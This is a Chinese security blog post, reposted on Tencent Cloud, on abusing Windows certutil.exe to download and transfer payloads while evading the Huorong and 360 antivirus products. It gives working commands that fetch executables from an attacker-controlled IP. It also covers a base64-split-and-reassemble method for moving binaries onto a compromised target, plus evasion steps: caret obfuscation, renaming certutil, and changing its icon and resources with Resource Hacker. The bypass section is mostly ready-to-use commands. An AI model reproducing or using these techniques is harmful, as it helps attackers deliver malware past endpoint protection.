前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【免杀】certutil工具bypass杀软

【免杀】certutil工具bypass杀软

作者头像
YanXia
发布2024-05-26 10:06:34
890
发布2024-05-26 10:06:34
举报
文章被收录于专栏:YX’blogYX’blog

0x00 前言

好久没更新文章了,前段时间在忙着毕设、考试等等诸多事宜。恰逢昨天在月总群里突然有人在window写shell的话题中聊到了certutil这个工具,且讨论起了些bypass的手段。索性今天写下这个文章跟各位bro们共同学习一下,虽然下文所展示的手段比较easy,但是耐不住他好用呀~~~。了解过certutil工具的师傅建议直接到0x02

0x01 关于certutil工具的介绍以及一些基础的用法

Certutil.exe是作为证书服务的一部分安装的命令行程序。可以使用certutil.exe显示证书颁发机构 (CA) 配置信息、配置证书服务以及备份和还原 CA 组件。该程序还验证证书、密钥对和证书链。 以上呢是微软官方对于Certutil.exe工具的使用介绍,不过现在Certutil.exe已经被黑客广泛利用于下载,编码解码等用途。所以现在他被杀的蛮死的。具体绕过方法下个章节见,现在先介绍些常见功能。

代码语言:javascript
复制
动词:
  -dump             -- 转储配置信息或文件
  -dumpPFX          -- 转储 PFX 结构
  -asn              -- 分析 ASN.1 文件

  -decodehex        -- 解码十六进制编码的文件
  -decode           -- 解码 Base64 编码的文件
  -encode           -- 将文件编码为 Base64

  -deny             -- 拒绝挂起的申请
  -resubmit         -- 重新提交挂起的申请
  -setattributes    -- 为挂起申请设置属性
  -setextension     -- 为挂起申请设置扩展
  -revoke           -- 吊销证书
  -isvalid          -- 显示当前证书部署

  -getconfig        -- 获取默认配置字符串
  -ping             -- Ping Active Directory 证书服务申请接口
  -pingadmin        -- Ping Active Directory 证书服务管理接口
  -CAInfo           -- 显示 CA 信息
  -ca.cert          -- 检索 CA 的证书
  -ca.chain         -- 检索 CA 的证书链
  -GetCRL           -- 获取 CRL
  -CRL              -- 发布新的 CRL [或仅增量 CRL]
  -shutdown         -- 关闭 Active Directory 证书服务

  -installCert      -- 安装证书颁发机构证书
  -renewCert        -- 续订证书颁发机构证书

  -schema           -- 转储证书架构
  -view             -- 转储证书视图
  -db               -- 转储原始数据库
  -deleterow        -- 删除服务器数据库行

  -backup           -- 备份 Active Directory 证书服务
  -backupDB         -- 备份 Active Directory 证书服务数据库
  -backupKey        -- 备份 Active Directory 证书服务证书和私钥
  -restore          -- 还原 Active Directory 证书服务
  -restoreDB        -- 还原 Active Directory 证书服务数据库
  -restoreKey       -- 还原 Active Directory 证书服务证书和私钥
  -importPFX        -- 导入证书和私钥
  -dynamicfilelist  -- 显示动态文件列表
  -databaselocations -- 显示数据库位置
  -hashfile         -- 通过文件生成并显示加密哈希

  -store            -- 转储证书存储
  -enumstore        -- 枚举证书存储
  -addstore         -- 将证书添加到存储
  -delstore         -- 从存储删除证书
  -verifystore      -- 验证存储中的证书
  -repairstore      -- 修复密钥关联,或者更新证书属性或密钥安全描述符
  -viewstore        -- 转储证书存储
  -viewdelstore     -- 从存储删除证书
  -UI               -- 调用 CryptUI
  -attest           -- 验证密钥证明请求

  -dsPublish        -- 将证书或 CRL 发布到 Active Directory

  -ADTemplate       -- 显示 AD 模板
  -Template         -- 显示注册策略模板
  -TemplateCAs      -- 显示模板的 CA
  -CATemplates      -- 显示 CA 的模板
  -SetCASites       -- 管理 CA 的站点名称
  -enrollmentServerURL -- 显示、添加或删除与 CA 关联的注册服务器 URL
  -ADCA             -- 显示 AD CA
  -CA               -- 显示注册策略 CA
  -Policy           -- 显示注册策略
  -PolicyCache      -- 显示或删除注册策略缓存项目
  -CredStore        -- 显示、添加或删除凭据存储项目
  -InstallDefaultTemplates -- 安装默认的证书模板
  -URLCache         -- 显示或删除 URL 缓存项目
  -pulse            -- 以脉冲方式执行自动注册事件或 NGC 任务
  -MachineInfo      -- 显示 Active Directory 计算机对象信息
  -DCInfo           -- 显示域控制器信息
  -EntInfo          -- 显示企业信息
  -TCAInfo          -- 显示 CA 信息
  -SCInfo           -- 显示智能卡信息

  -SCRoots          -- 管理智能卡根证书

  -DeleteHelloContainer -- 删除 Hello 登录容器。
     ** 在使用此选项后, 用户需要注销才能完成。**
  -verifykeys       -- 验证公/私钥集
  -verify           -- 验证证书,CRL 或链
  -verifyCTL        -- 验证 AuthRoot 或不允许的证书 CTL
  -syncWithWU       -- 与 Windows 更新同步
  -generateSSTFromWU -- 通过 Windows 更新生成 SST
  -generatePinRulesCTL -- 生成捆绑规则 CTL
  -downloadOcsp     -- 下载 OCSP 响应并写入目录
  -generateHpkpHeader -- 使用指定文件或目录中的证书生成 HPKP 头
  -flushCache       -- 刷新选定进程(例如 lsass.exe)中的指定缓存
  -addEccCurve      -- 添加 ECC 曲线
  -deleteEccCurve   -- 删除 ECC 曲线
  -displayEccCurve  -- 显示 ECC 曲线
  -sign             -- 重新签名 CRL 或证书

  -vroot            -- 创建/删除 Web 虚拟根和文件共享
  -vocsproot        -- 创建/删除 OCSP Web Proxy 的 Web 虚拟根
  -addEnrollmentServer -- 添加注册服务器应用程序
  -deleteEnrollmentServer -- 删除注册服务器应用程序
  -addPolicyServer  -- 添加策略服务器应用程序
  -deletePolicyServer -- 删除策略服务器应用程序
  -oid              -- 显示 ObjectId 或设置显示名称
  -error            -- 显示错误代码消息文本
  -getreg           -- 显示注册表值
  -setreg           -- 设置注册表值
  -delreg           -- 删除注册表值

  -ImportKMS        -- 为密钥存档导入用户密钥和证书到服务器数据库
  -ImportCert       -- 将证书文件导入数据库
  -GetKey           -- 检索存档的私钥恢复 Blob,生成恢复脚本 或恢复存档的密钥
  -RecoverKey       -- 恢复存档的私钥
  -MergePFX         -- 合并 PFX 文件
  -ConvertEPF       -- 将 PFX 文件转换为 EPF 文件

  -add-chain        -- (-AddChain) 添加证书链
  -add-pre-chain    -- (-AddPrechain) 添加预植证书链
  -get-sth          -- (-GetSTH) 获取签名树头
  -get-sth-consistency -- (-GetSTHConsistency) 获取签名树头更改
  -get-proof-by-hash -- (-GetProofByHash) 获取哈希证明
  -get-entries      -- (-GetEntries) 获取项
  -get-roots        -- (-GetRoots) 获取根
  -get-entry-and-proof -- (-GetEntryAndProof) 获取项和证明
  -VerifyCT         -- 验证证书 SCT
  -?                -- 显示该用法消息


CertUtil -?              -- 显示动词列表(命名列表)
CertUtil -dump -?        -- 显示 "dump" 动词的帮助文本
CertUtil -v -?           -- 显示所有动词的所有帮助文本

CertUtil: -? 命令成功完成。

查看文件hash

Hash algorithms: MD2 MD4 MD5 SHA1 SHA256 SHA384 SHA512.

代码语言:javascript
复制
certutil -hashfile 文件 hash类型

下载

代码语言:javascript
复制
Certutil.exe -urlcache -split -f  http://ip/xx.exe

不过这时候一般会有缓存的存在。

代码语言:javascript
复制
Certutil.exe -urlcache *

如果不想生成缓存的话可以用

代码语言:javascript
复制
certutil & certutil -urlcache -split -f http://ip/xx.exe delete

base64加解密

这个功能的话,在之前主要是因为拿到shell之后,因为各种原因限制了传输的大小,这时候一些人就会尝试用Certutil来对文件内容进行加密后分片传输。具体操作如下

代码语言:javascript
复制
certutil -encode yanxia.exe yanxia.txt

接下来需要对文本进行分割。如果用的是linux的话可以用下面这个命令将文本分割成想要的大小

代码语言:javascript
复制
split -b 1M xxx.txt output

这里我用python切割一下。

代码语言:javascript
复制
# -*- coding: utf-8 -*-            
# @Author : YanXia
# @Website : https://535yx.cn
def split_file(filename, num_files):
    with open(filename, 'r', encoding='utf-8') as file:
        lines = file.readlines()
    lines_per_file = len(lines) // num_files
    remaining_lines = len(lines) % num_files
    chunk_list = []
    start_index = 0
    for i in range(num_files):
        end_index = start_index + lines_per_file
        if i < remaining_lines:
            end_index += 1
        chunk_list.append(lines[start_index:end_index])
        start_index = end_index

    for i, chunk in enumerate(chunk_list):
        with open(f'x{i}.txt', 'w', encoding='utf-8') as outfile:
            outfile.writelines(chunk)
split_file('1.txt', 4)//这里是切割的文本数量

接下来传输到靶机上,整了个powershell

代码语言:javascript
复制
powershell -Command "for ($x = 0; $x -le 3; $x++) { (New-Object Net.WebClient).DownloadFile(\"http://192.168.102.1/1/x$x.txt\", \"x$x.txt\") }"

然后将他们合并后用-decode进行解密,可以发现md5是一样的

代码语言:javascript
复制
copy *.txt yanxia1.txt
certutil -decode yanxia1.txt yanxia1.exe

可以发现经过这一系列的操作后,经过加解密后的exe与原exe无异。

0x02 开始动手bypass

之前其实还有一种方法就像下方这种"或^的方式来进行绕过。不过目前已经失效了。这个方法在其他地方利用的时候也可以参考一下

代码语言:javascript
复制
c^e^r^t^u^t^i^l ""^^ -u^r^l^c^a^c^h^e  -s^p^l^i^t    -f  

法1,bypass火绒

该方法,来自前几天@feng佬提供的换目录+修改名称,(不过火绒目前单纯换个目录就可以直接过了检测下载)。 已亲测可过火绒✔,360核晶X 接下来展示一下 最新版火绒

可以发现正常下载是拦截的状态

先将certutil修改一个名称,然后利用新修改的名称去执行下载操作。可以发现这里直接bypass了最新版的火绒

代码语言:javascript
复制
copy C:\windows\system32\certutil.exe abc.txt
abc.txt -urlcache -split -f http://192.168.102.1/1/yanxia.exe

法2,bypass 360核晶+火绒

这个方法也很简单,就是给certutil打上ico和详细信息即可。(PS:该方法在实战中比较鸡肋,因为这都能传了直接传马拉倒)。不过很多bypass方法还是触类旁通的可以学习一下。 先用Resource Hacker工具给certutil修改资源(这里我随手拿了360的工具来换)

点击操作-从资源文件加载

按下图进行勾选

然后保存

就像下图

实战测试一下 最新火绒

最新360核晶(p1在虚拟机中测试的,p2物理机测试.虽然我物理机上是极速版360但是不影响的)

0x03 末尾

感谢各位师傅观看~~大家一起共同学习

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-05-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前言
  • 0x01 关于certutil工具的介绍以及一些基础的用法
    • 查看文件hash
      • 下载
        • base64加解密
        • 0x02 开始动手bypass
          • 法1,bypass火绒
            • 法2,bypass 360核晶+火绒
            • 0x03 末尾
            相关产品与服务
            对象存储
            对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档